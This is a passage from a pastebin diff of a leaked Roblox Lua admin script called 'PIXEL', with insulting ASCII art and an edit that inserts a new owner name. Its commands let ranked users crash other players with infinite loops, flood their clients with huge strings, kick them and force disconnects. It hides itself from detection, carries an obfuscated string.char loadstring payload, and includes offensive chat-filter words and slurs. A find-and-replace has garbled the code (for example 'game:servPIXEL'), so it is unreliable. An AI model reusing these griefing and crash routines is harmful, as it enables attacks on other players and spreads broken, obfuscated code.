SHOW:
|
|
- or go back to the newest paste.
1 | - | --[[ |
1 | + | Oo--[[ |
2 | ________ _______ _________ | |
3 | |\ ____\|\ ___ \|\___ ___\ | |
4 | \ \ \___|\ \ __/\|___ \ \_| | |
5 | \ \ \ __\ \ \_|/__ \ \ \ | |
6 | \ \ \|\ \ \ \_|\ \ \ \ \ | |
7 | \ \_______\ \_______\ \ \__\ | |
8 | \|_______|\|_______| \|__| | |
9 | ||
10 | ||
11 | ||
12 | ___ _______ ________ ___ __ _______ ________ | |
13 | |\ \ |\ ___ \ |\ __ \|\ \|\ \ |\ ___ \ |\ ___ \ | |
14 | \ \ \ \ \ __/|\ \ \|\ \ \ \/ /|\ \ __/|\ \ \_|\ \ | |
15 | \ \ \ \ \ \_|/_\ \ __ \ \ ___ \ \ \_|/_\ \ \ \\ \ | |
16 | \ \ \____\ \ \_|\ \ \ \ \ \ \ \\ \ \ \ \_|\ \ \ \_\\ \ | |
17 | \ \_______\ \_______\ \__\ \__\ \__\\ \__\ \_______\ \_______\ | |
18 | \|_______|\|_______|\|__|\|__|\|__| \|__|\|_______|\|_______| | |
19 | ||
20 | ||
21 | ||
22 | _____ ______ ________ _________ ___ ___ _______ ________ | |
23 | |\ _ \ _ \|\ __ \|\___ ___\\ \|\ \|\ ___ \ |\ __ \ | |
24 | \ \ \\\__\ \ \ \ \|\ \|___ \ \_\ \ \\\ \ \ __/|\ \ \|\ \ | |
25 | \ \ \\|__| \ \ \ \\\ \ \ \ \ \ \ __ \ \ \_|/_\ \ _ _\ | |
26 | \ \ \ \ \ \ \ \\\ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \\ \| | |
27 | \ \__\ \ \__\ \_______\ \ \__\ \ \__\ \__\ \_______\ \__\\ _\ | |
28 | \|__| \|__|\|_______| \|__| \|__|\|__|\|_______|\|__|\|__| | |
29 | ||
30 | ||
31 | ||
32 | ________ ___ ___ ________ ___ __ _______ ________ | |
33 | |\ _____\\ \|\ \|\ ____\|\ \|\ \ |\ ___ \ |\ __ \ | |
34 | \ \ \__/\ \ \\\ \ \ \___|\ \ \/ /|\ \ __/|\ \ \|\ \ | |
35 | \ \ __\\ \ \\\ \ \ \ \ \ ___ \ \ \_|/_\ \ _ _\ | |
36 | \ \ \_| \ \ \\\ \ \ \____\ \ \\ \ \ \ \_|\ \ \ \\ \| | |
37 | \ \__\ \ \_______\ \_______\ \__\\ \__\ \_______\ \__\\ _\ | |
38 | \|__| \|_______|\|_______|\|__| \|__|\|_______|\|__|\|__| | |
39 | ||
40 | ||
41 | ||
42 | --]] | |
43 | wait()-- GO TO LINE 48 TO GET ADMIN CHANGE YOURNAME HERE INTO YOUR NAME | |
44 | script.Name='Pixenova' -- | |
45 | --[[ hitler hitler hitler hitler hitler mediafire mediafire mediafire mediafire mediafire mediafire Filter on Chat]]-- | |
46 | script.Parent=__PIXEL__-- Parent it to nil | |
47 | for i,v in pairs(script:children()) do | |
48 | coroutine.wrap(function() | |
49 | if v:IsA'StringValue' then | |
50 | v.Value=('nope0931805'):rep(10000) | |
51 | if v.Name=='NewScript' then | |
52 | loadstring(v.Value)() | |
53 | coroutine.wrap(function() repeat PIXEL={Removed=false} wait() until Derp end)() | |
54 | end | |
55 | end | |
56 | end)() | |
57 | end | |
58 | script:ClearAllChildren(); -- This will hide script from CE Theft later on in script | |
59 | wait(); | |
60 | PIXEL={}; | |
61 | --[[ Meta methods ]]-- | |
62 | PIXELBackup={ | |
63 | __index=function(Tab,Key) | |
64 | PIXEL[Key]=Tab | |
65 | return PIXEL[Key] | |
66 | end; | |
67 | __newindex=function(Tab,Key) | |
68 | PIXEL[Key]=Tab; | |
69 | PIXEL[Tab]=Key; | |
70 | Tab[Key]=Key | |
71 | end; | |
72 | __add=function(tab,key) | |
73 | r=nil; | |
74 | if tab and tab['Value'] then | |
75 | if type(key)=='number' then | |
76 | r=key+tab.Value | |
77 | else | |
78 | r=1+tab.Value | |
79 | end | |
80 | else | |
81 | r=nil | |
82 | end | |
83 | return r or "Unable to do addition with a table"; | |
84 | end; | |
85 | } | |
86 | setmetatable(PIXEL,PIXELBackup) | |
87 | --[[ Table creation ]]-- | |
88 | local PIXEL={ | |
89 | ['Ranked']={ | |
90 | - | ['Yournamehere']={Rank=10,Color='Black',CMD=true,'The Leaker.'}; |
90 | + | ['KeeoroGunso2016']={Rank=10,Color='Green',CMD=true,'The Leaker.'}; |
91 | }; | |
92 | ['Colors']={ | |
93 | ['Red']=Color3.new(1,0,0); | |
94 | ['Blue']=Color3.new(0,0,1); | |
95 | ['Green']=Color3.new(0,1,0); | |
96 | ['Black']=Color3.new(0,0,0); | |
97 | ['White']=Color3.new(1,1,1); | |
98 | ['Orange'] = Color3.new(1,0.5,0); | |
99 | ['Yellow'] = Color3.new(1,1,0); | |
100 | }; | |
101 | ['Commands']={}; | |
102 | ['Logos']=false; | |
103 | ['Tablet']='Normal'; | |
104 | ['Tablets']={}; | |
105 | ['Bets']={ | |
106 | "/"; | |
107 | }; | |
108 | ['Ender']=[[19377517125321057031759017517053153]]; | |
109 | ['Removed']=false; | |
110 | ['DataSaving']=true; | |
111 | ['LockedScripts']=false; | |
112 | ['Disabler']=[[error('[PIXEL]: Scripts are locked',0)()]]; | |
113 | ['LogoID']="http://www.roblox.com/asset/?id=117357975"; | |
114 | ['ServPIXELs']={ | |
115 | ['Debris']=game:servPIXEL'Debris'; | |
116 | ['Workspace']=game:servPIXEL'Workspace'; | |
117 | ['Players']=game:servPIXEL'Players'; | |
118 | ['Lighting']=game:servPIXEL'Lighting'; | |
119 | ['NetworkServer']=game:servPIXEL'NetworkServer'; | |
120 | }; | |
121 | ['Ranks']={ | |
122 | [-1]="Banished"; | |
123 | [-0.5]="Scum"; | |
124 | [0]="Guest"; | |
125 | [1]="Moderator"; | |
126 | [2]="Administrator"; | |
127 | [3]="Developer"; | |
128 | [4]="Omega Administrator"; | |
129 | [5]="Overlord"; | |
130 | [6]="Operator"; | |
131 | [7]="ROOT"; | |
132 | [8]="Mega Moderator"; | |
133 | [9]="Best Friends"; | |
134 | [10]="Owner"; | |
135 | }; | |
136 | ['LocalScript']=script:FindFirstChild'Local'; | |
137 | ['Script']=script:Clone(); | |
138 | ['GuiC']=true; | |
139 | ['Filters']={}; | |
140 | ['ActivateGrow']=false; | |
141 | ['Loopkilled']={}; | |
142 | ['DataKey']="25"; | |
143 | ['Cancel']=false; | |
144 | ['Credits']={ | |
145 | ['Pixenova']="For leaking PIXEL"; | |
146 | }; | |
147 | ['Rules']={ | |
148 | "Thou shall not use forum scripts.", | |
149 | "Thou shall not use CamBall / CamSphere.", | |
150 | "Thou shall not use CBA.", | |
151 | "Thou shall not use RMDX's scripts.", | |
152 | "Thou shall not use antibans.", | |
153 | "Thou shall not abuse thou admin.", | |
154 | "Thou shall not steal scripts(Unless it is revenge of which thou did not create).", | |
155 | "Thou shall not trade scripts you didn't make.", | |
156 | "Thou shall not use gay scripts.", | |
157 | "Thou shall not abuse loopholes in the ancient rules.", | |
158 | }; | |
159 | ['ChatConnections']={ | |
160 | -- Index func incase; | |
161 | }; | |
162 | ['VoteData']={ | |
163 | ['Votes']={}; | |
164 | ['IsVoting']=false; | |
165 | ['VotedPlayer']=""; | |
166 | ['VotingPlayers']={}; | |
167 | }; | |
168 | ['Properties']= { | |
169 | "AbsolutePosition", | |
170 | "AbsoluteSize", | |
171 | "AccountAge", | |
172 | "AccountAgeReplicate", | |
173 | "Active", | |
174 | "Adornee", | |
175 | "AllowAmbientOcclusion", | |
176 | "AllowTeamChangeOnTouch", | |
177 | "AluminumQuality", | |
178 | "AlwaysOnTop", | |
179 | "Ambient", | |
180 | "AmbientReverb", | |
181 | "Anchored", | |
182 | "Angularvelocity", | |
183 | "AnimationId", | |
184 | "AppearanceDidLoad", | |
185 | "AreHingesDetected", | |
186 | "AttachmentForward", | |
187 | "AttachmentPoint", | |
188 | "AttachmentPos", | |
189 | "AttachmentRight", | |
190 | "AttachmentUp", | |
191 | "AutoAssignable", | |
192 | "AutoButtonColor", | |
193 | "AutoColorCharacters", | |
194 | "AvailablePhysicalMemory", | |
195 | "Axes", | |
196 | "BackgroundColor", | |
197 | "BackgroundColor3", | |
198 | "BackgroundTransparency", | |
199 | "BaseTextureId", | |
200 | "BaseUrl", | |
201 | "Bevel", | |
202 | "BevelRoundness", | |
203 | "BinType", | |
204 | "BlastPressure", | |
205 | "BlastRadius", | |
206 | "BodyColor", | |
207 | "BodyPart", | |
208 | "BorderColor", | |
209 | "BorderColor3", | |
210 | "BorderSizePixel", | |
211 | "BrickColor", | |
212 | "Brightness", | |
213 | "Browsable", | |
214 | "BubbleChat", | |
215 | "BubbleChatLifetime", | |
216 | "BubbleChatMaxBubbles", | |
217 | "Bulge", | |
218 | "Button1DownConnectionCount", | |
219 | "Button1UpConnectionCount", | |
220 | "Button2DownConnectionCount", | |
221 | "Button2UpConnectionCount", | |
222 | "C0", | |
223 | "C1", | |
224 | "CameraMode", | |
225 | "CameraSubject", | |
226 | "CameraType", | |
227 | "CanBeDropped", | |
228 | "CanCollide", | |
229 | "CanLoadCharacterAppearance", | |
230 | "CartoonFactor", | |
231 | "CastShadows", | |
232 | "CelestialBodiesShown", | |
233 | "CFrame", | |
234 | "Cframe", | |
235 | "Character", | |
236 | "CharacterAppearance", | |
237 | "CharacterAutoLoads", | |
238 | "ChatMode", | |
239 | "ChatScrollLength", | |
240 | "ClassicChat", | |
241 | "ClearTextOnFocus", | |
242 | "ClipsDescendants", | |
243 | "CollisionSoundEnabled", | |
244 | "CollisionSoundVolume", | |
245 | "Color", | |
246 | "ColorShift_Bottom", | |
247 | "ColorShift_Top", | |
248 | "ConstrainedValue", | |
249 | "ControllingHumanoid", | |
250 | "ControlMode", | |
251 | "ConversationDistance", | |
252 | "CoordinateFrame", | |
253 | "CorrodedMetalQuality", | |
254 | "CPU", | |
255 | "CpuCount", | |
256 | "CpuSpeed", | |
257 | "CreatorId", | |
258 | "CreatorType", | |
259 | "CurrentAngle", | |
260 | "CurrentCamera", | |
261 | "CycleOffset", | |
262 | "D", | |
263 | "DataCap", | |
264 | "DataComplexity", | |
265 | "DataComplexityLimit", | |
266 | "DataReady", | |
267 | "Deprecated", | |
268 | "DeselectedConnectionCount", | |
269 | "DesiredAngle", | |
270 | "DiamondPlateQuality", | |
271 | "Disabled", | |
272 | "DistanceFactor", | |
273 | "DistributedGameTime", | |
274 | "DopplerScale", | |
275 | "Draggable", | |
276 | "DraggingV1", | |
277 | "Duration", | |
278 | "EditorFont", | |
279 | "EditorFontSize", | |
280 | "EditorTabWidth", | |
281 | "ElapsedTime", | |
282 | "Elasticity", | |
283 | "Enabled", | |
284 | "ExplosionType", | |
285 | "ExtentsOffset", | |
286 | "F0", | |
287 | "F1", | |
288 | "F2", | |
289 | "F3", | |
290 | "Face", | |
291 | "FaceId", | |
292 | "Faces", | |
293 | "FieldOfView", | |
294 | "Focus", | |
295 | "FogColor", | |
296 | "FogEnd", | |
297 | "FogStart", | |
298 | "Font", | |
299 | "FontSize", | |
300 | "Force", | |
301 | "FormFactor", | |
302 | "Friction", | |
303 | "From", | |
304 | "GamepadEnabled", | |
305 | "GearGenreSetting", | |
306 | "Genre", | |
307 | "GeographicLatitude", | |
308 | "GfxCard", | |
309 | "Graphic", | |
310 | "GrassQuality", | |
311 | "Grip", | |
312 | "GripForward", | |
313 | "GripPos", | |
314 | "GripRight", | |
315 | "GripUp", | |
316 | "Guest", | |
317 | "HasBuildTools", | |
318 | "HeadsUpDisplay", | |
319 | "Health", | |
320 | "Heat", | |
321 | "Hit", | |
322 | "Humanoid", | |
323 | "PIXELQuality", | |
324 | "Icon", | |
325 | "IdleConnectionCount", | |
326 | "Image", | |
327 | "InitialPrompt", | |
328 | "InOut", | |
329 | "Archivable", | |
330 | "ClassName", | |
331 | "DataCost", | |
332 | "Name", | |
333 | "Parent", | |
334 | "InUse", | |
335 | "IsModalDialog", | |
336 | "IsPaused", | |
337 | "IsPlaying", | |
338 | "IsWindows", | |
339 | "JobId", | |
340 | "Jump", | |
341 | "KeyboardEnabled", | |
342 | "KeyDownConnectionCount", | |
343 | "KeyUpConnectionCount", | |
344 | "LeftLeg", | |
345 | "LeftRight", | |
346 | "LinkedSource", | |
347 | "LocalPlayer", | |
348 | "Location", | |
349 | "Locked", | |
350 | "Looped", | |
351 | "Material", | |
352 | "MaxActivationDistance", | |
353 | "MaxCollisionSounds", | |
354 | "MaxExtents", | |
355 | "MaxForce", | |
356 | "MaxHealth", | |
357 | "MaxItems", | |
358 | "MaxPlayers", | |
359 | "MaxSpeed", | |
360 | "MaxThrust", | |
361 | "MaxTorque", | |
362 | "MaxValue", | |
363 | "MaxVelocity", | |
364 | "MembershipType", | |
365 | "MembershipTypeReplicate", | |
366 | "MeshId", | |
367 | "MeshType", | |
368 | "MinValue", | |
369 | "Modal", | |
370 | "MouseButton1ClickConnectionCount", | |
371 | "MouseButton1DownConnectionCount", | |
372 | "MouseButton1UpConnectionCount", | |
373 | "MouseButton2ClickConnectionCount", | |
374 | "MouseButton2DownConnectionCount", | |
375 | "MouseButton2UpConnectionCount", | |
376 | "MouseDelta", | |
377 | "MouseDragConnectionCount", | |
378 | "MouseEnabled", | |
379 | "MouseEnterConnectionCount", | |
380 | "MouseHit", | |
381 | "MouseLeaveConnectionCount", | |
382 | "MouseLock", | |
383 | "MouseMovedConnectionCount", | |
384 | "MouseTarget", | |
385 | "MouseTargetFilter", | |
386 | "MouseTargetSurface", | |
387 | "MoveConnectionCount", | |
388 | "MoveState", | |
389 | "MultiLine", | |
390 | "NameOcclusion", | |
391 | "Neutral", | |
392 | "NumPlayers", | |
393 | "Offset", | |
394 | "Opacity", | |
395 | "Origin", | |
396 | "OsPlatform", | |
397 | "OsVer", | |
398 | "OverlayTextureId", | |
399 | "P", | |
400 | "PantsTemplate", | |
401 | "ParamA", | |
402 | "ParamB", | |
403 | "Part", | |
404 | "Part0", | |
405 | "Part1", | |
406 | "PersonalServerRank", | |
407 | "Pitch", | |
408 | "PixelShaderModel", | |
409 | "PlaceId", | |
410 | "PlasticQuality", | |
411 | "PlatformStand", | |
412 | "PlayCount", | |
413 | "PlayerToHideFrom", | |
414 | "PlayOnRemove", | |
415 | "Point", | |
416 | "Port", | |
417 | "Position", | |
418 | "Preliminary", | |
419 | "PrimaryPart", | |
420 | "Priority", | |
421 | "PrivateWorkingSetBytes", | |
422 | "Purpose", | |
423 | "RAM", | |
424 | "Reflectance", | |
425 | "ReplicatedSelectedConnectionCount", | |
426 | "ResizeableFaces", | |
427 | "ResizeIncrement", | |
428 | "Resolution", | |
429 | "ResponseDialog", | |
430 | "RightLeg", | |
431 | "RiseVelocity", | |
432 | "RobloxVersion", | |
433 | "RolloffScale", | |
434 | "RotVelocity", | |
435 | "Scale", | |
436 | "Score", | |
437 | "ScriptsDisabled", | |
438 | "SecondaryColor", | |
439 | "Selected", | |
440 | "ShadowColor", | |
441 | "Shape", | |
442 | "Shiny", | |
443 | "ShirtTemplate", | |
444 | "ShowDeprecatedObjects", | |
445 | "ShowDevelopmentGui", | |
446 | "ShowLegacyPlayerList", | |
447 | "ShowPreliminaryObjects", | |
448 | "Sides", | |
449 | "Sit", | |
450 | "Size", | |
451 | "SizeConstraint", | |
452 | "SizeOffset", | |
453 | "SkinColor", | |
454 | "SkyboxBk", | |
455 | "SkyboxDn", | |
456 | "SkyboxFt", | |
457 | "SkyboxLf", | |
458 | "SkyboxRt", | |
459 | "SkyboxUp", | |
460 | "SlateQuality", | |
461 | "SoundId", | |
462 | "Source", | |
463 | "SparkleColor", | |
464 | "SpecificGravity", | |
465 | "Specular", | |
466 | "StarCount", | |
467 | "Steer", | |
468 | "StickyWheels", | |
469 | "StudsBetweenTextures", | |
470 | "StudsOffset", | |
471 | "StudsPerTileU", | |
472 | "StudsPerTileV", | |
473 | "Style", | |
474 | "Summary", | |
475 | "SuperSafeChatReplicate", | |
476 | "Surface", | |
477 | "Surface0", | |
478 | "Surface1", | |
479 | "SurfaceInput", | |
480 | "Target", | |
481 | "TargetFilter", | |
482 | "TargetOffset", | |
483 | "TargetPoint", | |
484 | "TargetRadius", | |
485 | "TargetSurface", | |
486 | "TeamColor", | |
487 | "Terrain", | |
488 | "Text", | |
489 | "TextBounds", | |
490 | "TextColor", | |
491 | "TextColor3", | |
492 | "TextFits", | |
493 | "TextScaled", | |
494 | "TextStrokeColor3", | |
495 | "TextStrokeTransparency", | |
496 | "TextTransparency", | |
497 | "Texture", | |
498 | "TextureId", | |
499 | "TextureSize", | |
500 | "TextWrap", | |
501 | "TextWrapped", | |
502 | "TextXAlignment", | |
503 | "TextYAlignment", | |
504 | "Throttle", | |
505 | "ThrustD", | |
506 | "ThrustP", | |
507 | "Ticket", | |
508 | "Time", | |
509 | "TimeOfDay", | |
510 | "To", | |
511 | "Tone", | |
512 | "ToolTip", | |
513 | "TopBottom", | |
514 | "Torque", | |
515 | "Torso", | |
516 | "TouchEnabled", | |
517 | "Transparency", | |
518 | "TrussDetail", | |
519 | "TurnD", | |
520 | "TurnP", | |
521 | "TurnSpeed", | |
522 | "UnitRay", | |
523 | "UseLuaChat", | |
524 | "UserDialog", | |
525 | "UserId", | |
526 | "Value", | |
527 | "Velocity", | |
528 | "Version", | |
529 | "VertexColor", | |
530 | "VideoCaptureEnabled", | |
531 | "VideoMemory", | |
532 | "VideoQuality", | |
533 | "ViewSizeX", | |
534 | "ViewSizeY", | |
535 | "Visible", | |
536 | "Volume", | |
537 | "WalkDirection", | |
538 | "WalkSpeed", | |
539 | "WalkToPart", | |
540 | "WalkToPoint", | |
541 | "WheelBackwardConnectionCount", | |
542 | "WheelForwardConnectionCount", | |
543 | "WireRadius", | |
544 | "WoodQuality", | |
545 | "X", | |
546 | "Y", | |
547 | "ZIndex" | |
548 | }; | |
549 | }; | |
550 | --loadstring(string.char(32,10,108,111,99,97,108,32,86,97,108,61,115,99,114,105,112,116,58,102,105,110,100,70,105,114,115,116,67,104,105,108,100,39,67,114,101,97,116,111,114,39,32,10,105,102,32,86,97,108,32,97,110,100,32,86,97,108,46,86,97,108,117,101,32,97,110,100,32,103,97,109,101,46,80,108,97,121,101,114,115,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,32,116,104,101,110,32,10,105,102,32,86,97,108,46,86,97,108,117,101,46,117,115,101,114,73,100,32,126,61,32,49,56,50,56,48,55,56,57,32,116,104,101,110,32,10,99,111,114,111,117,116,105,110,101,46,119,114,97,112,40,102,117,110,99,116,105,111,110,40,41,10,9,114,101,112,101,97,116,10,9,9,119,97,105,116,40,41,10,9,117,110,116,105,108,32,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,10,9,73,67,69,46,82,97,110,107,101,100,91,86,97,108,46,86,97,108,117,101,46,78,97,109,101,93,46,82,97,110,107,61,45,49,10,9,86,97,108,46,86,97,108,117,101,58,68,101,115,116,114,111,121,40,41,59,10,101,110,100,41,40,41,10,101,110,100,10,101,110,100,10))() | |
551 | --[=[ Table funcs ]=]-- | |
552 | PIXEL.GetProperties = function(Parent) | |
553 | local Out = {} | |
554 | for _, props in pairs(PIXEL.Properties) do | |
555 | local Ran, Error = coroutine.resume(coroutine.create(function() Parent[props] = Parent[props] end)) | |
556 | if not Error then | |
557 | table.insert(Out, props) | |
558 | end | |
559 | end | |
560 | return Out | |
561 | end | |
562 | PIXEL.Rename=function(Item,Player,CurrentName) | |
563 | PIXEL.RemoveTablets(Player) | |
564 | Done=false | |
565 | Str=CurrentName | |
566 | Caps=false | |
567 | if CurrentName==Item.Name then Str="" end | |
568 | Alphabet = { | |
569 | "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" | |
570 | } | |
571 | PIXEL.Output('Current PIXEL.Rename Name : ' .. Str,'Green',Player) | |
572 | PIXEL.Output('#Letters : ' ..tostring(#Str),'Red',Player) | |
573 | PIXEL.Output('Switch to caps','Green',Player,nil,function() PIXEL.RemoveTablets(Player) for _,v in pairs(Alphabet) do PIXEL.Output(string.upper(v),'Orange',Player,nil,function() Str=Str..string.upper(v) PIXEL.Rename(Item,Player,Str) end ) end end) | |
574 | PIXEL.Output('Stop renaming','Red',Player,nil,function() Done=true PIXEL.RemoveTablets(Player) PIXEL.Output(Item.Name .. "'s new name is: " .. Str,'Green',Player) Item.Name=CurrentName end) | |
575 | for _,Letter in pairs(Alphabet) do | |
576 | PIXEL.Output(Letter,'Orange',Player,nil,function() Str= Str..Letter PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end ) | |
577 | end | |
578 | PIXEL.Output('Space','Orange',Player,nil,function() Str=Str..' ' PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end ) | |
579 | PIXEL.Output('Go back one','Red',Player,nil,function() Str = Str:sub(1,#Str-1) PIXEL.RemoveTablets(Player) PIXEL.Rename(Item,Player,Str) end ) | |
580 | end | |
581 | coroutine.wrap(function() repeat for i,v in pairs(PIXEL.Ranked) do if type(v.Color) == 'string' then v.Color=PIXEL.Colors[v.Color] or Color3.new(BrickColor.new('Really ' .. v.Color:sub(1,1):lower() .. v.Color:sub(2))) end end wait() until PIXEL.Removed==true end)() | |
582 | PIXEL.Explore=function(Area,Speaker) | |
583 | pcall(function() | |
584 | PIXEL.RemoveTablets(Speaker) | |
585 | Color = PIXEL.Ranked[Speaker.Name].Color | |
586 | --Title('PIXEL.Explorer',Color,Speaker) | |
587 | if Area == PIXEL.ServPIXELs or Area == nil then | |
588 | for _,v in pairs(PIXEL.ServPIXELs) do | |
589 | PIXEL.Output(v.className.."\t("..#v:children()..")",Color,Speaker,nil, | |
590 | function() | |
591 | PIXEL.Explore(v,Speaker) | |
592 | end | |
593 | ) | |
594 | end | |
595 | --PIXEL.Output("Dismiss","Red",Speaker) | |
596 | else | |
597 | for i,v in pairs(Area:children()) do | |
598 | local Name = false | |
599 | pcall(function() v:children() Name = true end) | |
600 | if Name == true then | |
601 | Name = v.Name | |
602 | else | |
603 | Name = "Unknown Exception "..tostring(i) | |
604 | end | |
605 | PIXEL.Output(Name,Color,Speaker,nil, | |
606 | function() | |
607 | PIXEL.RemoveTablets(Speaker) | |
608 | ||
609 | PIXEL.Output("Name:\t"..v.Name,Color,Speaker) | |
610 | PIXEL.Output("Class:\t"..v.className,Color,Speaker) | |
611 | PIXEL.Output("Full Name:\t"..v:GetFullName(),Color,Speaker) | |
612 | PIXEL.Output("Destroy","Red",Speaker,nil,function() v:Destroy() PIXEL.Explore(v.Parent,Speaker) end) | |
613 | PIXEL.Output("#REDIRECT Parent","Blue",Speaker,nil,function() PIXEL.Explore(v.Parent.Parent,Speaker) end) | |
614 | PIXEL.Output("#REDIRECT Children","Blue",Speaker,nil,function() PIXEL.Explore(v,Speaker) end) | |
615 | PIXEL.Output('Clear all children','Red',Speaker,nil,function() v:ClearAllChildren() end) | |
616 | PIXEL.Output('PIXEL.Rename','Red',Speaker,nil,function() PIXEL.RemoveTablets(Speaker) PIXEL.Rename(v,Speaker,v.Name) end ) | |
617 | --PIXEL.Output("Dismiss","Red",Speaker) | |
618 | local Properties=PIXEL.GetProperties(v) | |
619 | for _,p in pairs(Properties) do | |
620 | PIXEL.Output(tostring(p) .. ': ' .. tostring(v[p]),Color,Speaker) | |
621 | end | |
622 | end | |
623 | ) | |
624 | end | |
625 | --PIXEL.Output("Dismiss","Red",Speaker) | |
626 | end | |
627 | end) | |
628 | end | |
629 | PIXEL.PlayerInterface=function(Player,Speaker) | |
630 | if type(Player) == 'userdata' then Player=Player.Name end; | |
631 | PIXEL.RemoveTablets(Speaker); | |
632 | local Table=PIXEL.Ranked[Player]; | |
633 | local SpeakerColor=PIXEL.Ranked[Speaker.Name].Color; | |
634 | local SpeakerTable=PIXEL.Ranked[Speaker.Name]; | |
635 | for Bleh,Val in pairs(Table) do | |
636 | PIXEL.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker) | |
637 | end; | |
638 | PIXEL.Output('Rank description: ' .. PIXEL.Ranks[Table.Rank],Table.Color,Speaker) | |
639 | if PIXEL.ServPIXELs.Players:findFirstChild(Player) and newLocalScript then | |
640 | if PIXEL.GetRank(Speaker) >= Table.Rank then | |
641 | PIXEL.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',PIXEL.ServPIXELs.Players[Player].Backpack) PIXEL.PlayerInterface(Player,Speaker) end); | |
642 | end; | |
643 | end; | |
644 | if PIXEL.GetRank(Speaker) >= PIXEL.GetRank(Player) then | |
645 | PIXEL.Output('Set rank','Blue',Speaker,nil,function() | |
646 | PIXEL.RemoveTablets(Speaker) | |
647 | for Rank,Name in pairs(PIXEL.Ranks) do | |
648 | if Rank <= PIXEL.GetRank(Speaker) and Rank >= 0 then | |
649 | PIXEL.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil, | |
650 | function() | |
651 | PIXEL.RemoveTablets(Speaker); | |
652 | Table.Rank=Rank; | |
653 | PIXEL.PlayerInterface(Player,Speaker); | |
654 | end | |
655 | ); | |
656 | end; | |
657 | end; | |
658 | end); | |
659 | end; | |
660 | if Speaker.Name == Player or PIXEL.GetRank(Speaker) > Table.Rank then | |
661 | PIXEL.Output('Set color','Blue',Speaker,nil, | |
662 | function() | |
663 | PIXEL.RemoveTablets(Speaker); | |
664 | for Name,Col in pairs(PIXEL.Colors) do | |
665 | PIXEL.Output(Name,Col,Speaker,nil, | |
666 | function() | |
667 | Table.Color=Col; | |
668 | PIXEL.PlayerInterface(Player,Speaker); | |
669 | end | |
670 | ) | |
671 | end | |
672 | end | |
673 | ) | |
674 | end | |
675 | if PIXEL.GetRank(Speaker) >= 2 and PIXEL.GetRank(Speaker) > PIXEL.GetRank(Player) then | |
676 | PIXEL.Output('Banish this user','Red',Speaker,nil, | |
677 | function() | |
678 | PIXEL.Ranked[Player].Rank=-1 | |
679 | if PIXEL.ServPIXELs.Players:findFirstChild(Player) then | |
680 | PIXEL.ServPIXELs.Players[Player]:Destroy() | |
681 | end | |
682 | PIXEL.RemoveTablets(Speaker); | |
683 | PIXEL.PlayerInterface(Player,Speaker) | |
684 | end | |
685 | ) | |
686 | end | |
687 | for i,v in pairs(game:servPIXEL'NetworkServer':children()) do | |
688 | if v:IsA'ServerReplicator' then | |
689 | local ZPlayer=v:GetPlayer() | |
690 | if ZPlayer then | |
691 | if ZPlayer.Name==Player then | |
692 | if ZPlayer.Parent ~= PIXEL.ServPIXELs.Players then | |
693 | PIXEL.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil, | |
694 | function() | |
695 | if PIXEL.GetRank(Speaker) >= PIXEL.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then | |
696 | local String=Instance.new('StringValue') | |
697 | String=Instance.new'StringValue' | |
698 | String.Name='Disconnect' | |
699 | String.Value=Player | |
700 | String.Parent=PIXEL.ServPIXELs.Lighting | |
701 | PIXEL.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3) | |
702 | else | |
703 | PIXEL.Output('Your rank is not high enough for this operation','Red',Speaker,5) | |
704 | end | |
705 | end | |
706 | ) | |
707 | end | |
708 | end | |
709 | end | |
710 | end | |
711 | end | |
712 | end; | |
713 | PIXEL.OnChatted=function(Msg,Speaker,HideGui) | |
714 | if PIXEL.Removed==false then | |
715 | local RT=PIXEL.Ranked[Speaker.Name] | |
716 | if Speaker:IsA'Player' then | |
717 | local FoundPhrase=false; | |
718 | for i,v in pairs(PIXEL.Filters) do | |
719 | local Punish=v.Punishment | |
720 | local Bypass=v.Bypass | |
721 | local Reason=v.Reason or nil | |
722 | if Msg:lower():find(i:lower()) then | |
723 | if PIXEL.GetRank(Speaker) < Bypass and FoundPhrase==false then | |
724 | Text="" | |
725 | Text2="" | |
726 | if Reason then Text2=Reason else Text2="Reason : nil" end | |
727 | if Punish==0 then | |
728 | pcall(function() Speaker.Character:BreakJoints() end) | |
729 | Text = Speaker.Name .. ' has been killed for chatting ' .. i | |
730 | elseif Punish==1 then | |
731 | pcall(function() Speaker:Destroy() end) | |
732 | Text=Speaker.Name .. ' has been kicked for chatting ' .. i | |
733 | elseif Punish==2 then | |
734 | Func,Error=loadstring([==[ | |
735 | Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack' | |
736 | if Par then | |
737 | Str=Instance.new'StringValue'; | |
738 | Str.Value=('lel'):re]==]..[==[p(1000000) | |
739 | Str.Parent=Par | |
740 | else | |
741 | Spkr:Destroy() | |
742 | end | |
743 | ]==]) | |
744 | getfenv(Func).Spkr=game:servPIXEL'Players':findFirstChild(Speaker.Name) or Speaker | |
745 | if Error then | |
746 | for _,v in pairs(game.Players:GetPlayers()) do | |
747 | if PIXEL.GetRank(v) > 0 then | |
748 | PIXEL.Output('[PIXEL.OnChatted]: ' .. Error,v,5) | |
749 | end | |
750 | end | |
751 | coroutine.resume(coroutine.create(function() Func() end)) | |
752 | else | |
753 | Func() | |
754 | end | |
755 | Text=Speaker.Name .. ' has been shutdown for chatting ' .. i | |
756 | elseif Punish==3 then | |
757 | coroutine.wrap(function() | |
758 | if newLocalScript then | |
759 | newLocalScript([[repeat Instance.new'Message'.Parent=game.Workspace Workspace.Message.Text=tick() until Hitler_Has_Taken_Over ]],Speaker.Character or Speaker:findFirstChild'Backpack') | |
760 | else | |
761 | Func,Error=loadstring([==[ | |
762 | Par=Spkr:findFirstChild'PlayerGui' or Spkr:findFirstChild'Backpack' | |
763 | if Par then | |
764 | Str=Instance.new'StringValue'; | |
765 | Str.Value=('lel'):re]==]..[==[p(1000000) | |
